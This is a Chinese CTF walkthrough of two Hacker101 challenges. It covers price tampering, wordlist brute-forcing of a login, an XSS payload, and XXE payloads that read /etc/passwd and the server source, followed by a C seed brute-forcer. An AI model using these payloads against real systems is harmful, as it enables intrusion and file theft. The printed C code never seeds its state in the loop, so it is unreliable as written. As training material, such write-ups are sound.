hi,大家好,我我我又又又来啦!接着第一篇、第二篇还有第三篇的进度,这次为大家带来Hacker101 CTF的第十、十一题:
废话不多说,上题!
第十题Petshop Pro
这道题比较简单,说简单一下,打开主页:
看来是个宠物店,可爱的猫猫和狗狗,可以加入购物车带回家!:)
由于最近比较流行撸羊毛,所以看到这样的购物商店就想撸^_^,点个小猫加入购物车,自动跳转到付款页面:
在burpsuite中打开抓包开关,点击网页上的“check Out”,把付款包抓下来:
其中post的数据为:cart=%5B%5B0%2C+%7B%22logo%22%3A+%22kitten.jpg%22%2C+%22price%22%3A+8.95%2C+%22name%22%3A+%22Kitten%22%2C+%22desc%22%3A+%228%5C%22x10%5C%22+color+glossy+photograph+of+a+kitten.%22%7D%5D%5D
url解码后为:cart=[[0, {"logo": "kitten.jpg", "price": 8.95, "name": "Kitten", "desc": "8"x10" color glossy photograph of a kitten."}]]
可以看到价格等信息都在里面,来当回羊毛党吧,我们将price改为0发送,
ok,付款值已经变为了0,羊毛撸成功!拿到了第一个flag。
继续,看看有没有敏感路径,爆破一下路径,工具任选,发现有login页面:
试了一下万能密码、POST注入,均无效,但是发现输入错误的用户名会告知用户名错误,而且没有验证码和次数限制,
所以可以先爆破用户名,再爆破密码,先爆破用户名:
注意字典去这里找https://github.com/danielmiessler/SecLists,爆破用户名用里面的:SecLists-masterUsernamesNamesnames.txt,爆破密码用SecLists-masterPasswordsdarkweb2017-top10000.txt,别问我怎么知道的,
注意这里有个坑,正常的用户名和错误的用户名返回的包长度是一样的,因为”Invalid username”和”Invalie password”长度是一样的,所以看返回包的长度是看不出什么的,除非一个个包去翻ಥ_ಥ ,所以爆破用户名时要加一个结果匹配选项:
爆破结果:
然后爆破密码:
然后用correy:tuttle登陆:
拿到第二个flag,继续,看到页面上有edit链接,点开:
发现有可以编辑的地方,看能否xss,在name、description处都输入<img src=x onerror=alert(1)>,save保存,回到主页:
虽然payload奏效了,但是没有flag,去其他页面看看,点击checkout,跳转到付款页面:
拿到了第三个flag。
第十一题Model E1337 – Rolling Code Lock
这道题比较难,详细说一下,打开主页:
让我们输入code解锁,随便输个1,点Unlock解锁,
反馈一个期望值09454537,意思是我们刚才如果输入这个值得话就解锁了,那么再回到主页输入09454537,点击Unlock,
期望值变了,所以还是没成功,想了一会,没有头绪,试试其他思路吧,先爆破一下路径,工具任选,一下就找到了admin页面,来看一下:
这个admin页面比较奇怪,既没有登陆框也没有任何可供输入的地方,只有一条奇怪的信息:Lock location:Front door
,抓包也没有看到任何有用的东西,右击看了一下网页源码:
有一条比较露骨的注释:
<!-- We should be using get-config for this on the client side. -->
所以应该有get-config:
这部就是刚刚admin页面中的信息么,再看一下这个页面的网页源代码:
是个XML格式的内容,那么get-config很可能读取了一个XML文件,我们现在将这些线索串起来,推测一下后台的逻辑:当我们访问admin页面时,admin调用了get-config,get-config读取了一个XML文件,获取了其中相关的字段,生成了admin页面。所以这道题很可能考察了XXE注入,我们需要通过XXE注入修改get-config读取的文件,比如说网站源码,但是XXE注入需要注入点啊,在哪里呢?
抓了一下admin页面和get-config的包,用OPTIONS请求探测了一下两个页面,发现两个页面都只支持HEADOPTIONSGET三种请求方法:
难道要爆破参数用GET方法发送XXE的payload,或者还有其他页面?我在反反复复测试XXE以及爆破页面的过程中度过了两个日夜,对着get-config页面发呆,最后几乎都要放弃了,忽然灵机一动,既然有get-config,为什么不会有set-config,访问了一下:
居然不是404!,说明这个页面是存在的,只是我们访问它的方式有一些问题,抓包,改请求方法为OPTIONS:
依然不支持POST,没关系,爆破一下参数,字典用上文提到的字典包,用里面的:SecLists-masterDiscoveryWeb-Contentburp-parameter-names.txt,payload参照get-config返回的内容,修改为:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "/etc/passwd" >]><config><location>&xxe;</location></config>
url编码后添加到参数后面,开始爆破:
很快就爆了出来:
这个包发生了302跳转,猜想这里payload已经奏效,所以回到admin页面,查看网页源码:
完美!接下来就是读取网站后台源码了,由于这里是uwsgi+flask+nginx+docker环境(看的hint),所以先用payload:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "uwsgi.ini" >]><config><location>&xxe;</location></config>
读取uwsig.ini,里面内容很简单:
module = main
callable = app
说明主模块为main.py,所以下一步用payload:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "main.py" >]><config><location>&xxe;</location></config>
读取main.py,这是网站的主页逻辑:
from flask import Flask, abort, redirect, request, Response, session
from jinja2 import Template
import base64, json, os, random, re, subprocess, time, xml.sax
from cStringIO import StringIO
from rng import *
# ^FLAG^7682cc1c5a112610b3cc9b7b87e0661223834323a2da73c0ee966eed510b6b49$FLAG$
flags = json.loads(os.getenv('FLAGS'))
os.unsetenv('FLAGS')
app = Flask(__name__)
templateCache = {}
def render(tpl, **kwargs):
if tpl not in templateCache:
templateCache[tpl] = Template(file('templates/%s.html' % tpl).read())
return templateCache[tpl].render(**kwargs)
@app.after_request
def add_header(r):
r.headers["Cache-Control"] = "no-cache, no-store, must-revalidate"
r.headers["Pragma"] = "no-cache"
r.headers["Expires"] = "0"
r.headers['Cache-Control'] = 'public, max-age=0'
return r
@app.route('/')
def index():
return render('home')
@app.route('/unlock', methods=['POST'])
def unlock():
code = int(request.form['code'])
cur = next(26)
time.sleep(5)
if code == cur:
return 'Unlocked successfully. Flag: ' + flags[1]
else:
return 'Code incorrect. Expected %08i' % cur
@app.route('/admin')
def admin():
return render('admin', location=location)
location = 'Front door'
@app.route('/get-config')
def getConfig():
return '<?xml version="1.0" encoding="UTF-8"?><config><location>%s</location></config>' % location
class Handler(xml.sax.ContentHandler):
def __init__(self):
self.location = None
def startElement(self, name, attrs):
if name == 'location':
self.location = ''
def endElement(self, name):
if name == 'location':
global location
location = self.location
self.location = None
def characters(self, content):
if self.location is not None:
self.location += content
@app.route('/set-config')
def setConfig():
data = request.args['data']
parser = xml.sax.make_parser()
parser.setContentHandler(Handler())
parser.parse(StringIO(data))
return redirect('admin')
app.run(host='0.0.0.0', port=80)
看!里面有flag,继续,阅读上面的源码,注意其中的unlock函数,实现首页的猜数字功能,我们要猜的期望值是由next(26)产生的,而next函数不在该页面中,看了一下第六行from rng import *
,所以这里应该还有个rng.py,next函数应该就在其中,于是用payload:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "rng.py" >]><config><location>&xxe;</location></config>
读取rng.py,源码如下:
def setup(seed):
global state
state = 0
for i in xrange(16):
cur = seed & 3
seed >>= 2
state = (state << 4) | ((state & 3) ^ cur)
state |= cur << 2
def next(bits):
global state
ret = 0
for i in xrange(bits):
ret <<= 1
ret |= state & 1
state = (state << 1) ^ (state >> 61)
state &= 0xFFFFFFFFFFFFFFFF
state ^= 0xFFFFFFFFFFFFFFFF
for j in xrange(0, 64, 4):
cur = (state >> j) & 0xF
cur = (cur >> 3) | ((cur >> 2) & 2) | ((cur << 3) & 8) | ((cur << 2) & 4)
state ^= cur << j
return ret
setup((random.randrange(0x10000) << 16) | random.randrange(0x10000))
好吧,貌似有点复杂,读了几遍,大意明白了:先用一个2的32次方以内的seed值放入setup函数,生成state的初始值,然后主页接受到浏览器发送过来的code时就进入next函数,生成一个2**26以内的期望值,然后主页逻辑会将code与这个期望值比较,相等就能拿到第二个flag,关键这里state的状态变化太复杂了,实在看不出有啥破绽 (“▔□▔)/(“▔□▔)/,只好祭出暴力破解大法来爆破seed,使之满足计算出的第一个期望值与第二个期望值,注意这里爆破的seed范围为2的32次方,用python会非常慢,用C爆破效率高出许多:
#include <stdio.h>
unsigned long long state = 0;
unsigned long long expected_code1 = 12350614;
unsigned long long expected_code2 = 37524982;
void setup(unsigned int seed){
state = 0;
unsigned long long cur = 0ll;
for(unsigned i=0;i<16;i++){
cur = seed & 3;
seed >>= 2;
state = (state << 4)|((state & 3ll) ^ cur);
state |= cur << 2;
}
}
unsigned long long next(unsigned int bits){
unsigned long long ret = 0l;
for(unsigned int i=0;i<26;i++){
ret <<= 1;
ret |= (state & 1ll);
state = (state << 1) ^ (state >> 61);
state &= 0xFFFFFFFFFFFFFFFFll;
state ^= 0xFFFFFFFFFFFFFFFFll;
for(unsigned int j=0;j<64;j+=4){
unsigned long long cur = 0ll;
cur = (state >> j) & 0xFll;
cur = (cur >> 3) | ((cur >> 2)&2ll) | ((cur<<3)&8ll) | ((cur<<2)&4ll);
state ^= (cur << j);
}
}
return ret;
}
int main(int argc,char *argv[]){
unsigned int seed = 1;
while(seed){
if(next(26) == expected_code1){
printf("first check passed,and seed is:%ldn",seed);
if(next(26) == expected_code2){
printf("second check passed,and seed is:%ldn",seed);
printf("and next expected_code is :%ldn",next(26));
break;
}
}
seed++;
}
printf("end");
while(getchar()!='+'){}
}
将第一个与第二个期望值代入上面的代码,爆破之,得到第三个期望值,回到主页面输入,验证通过,得到第二个flag:
打完收工!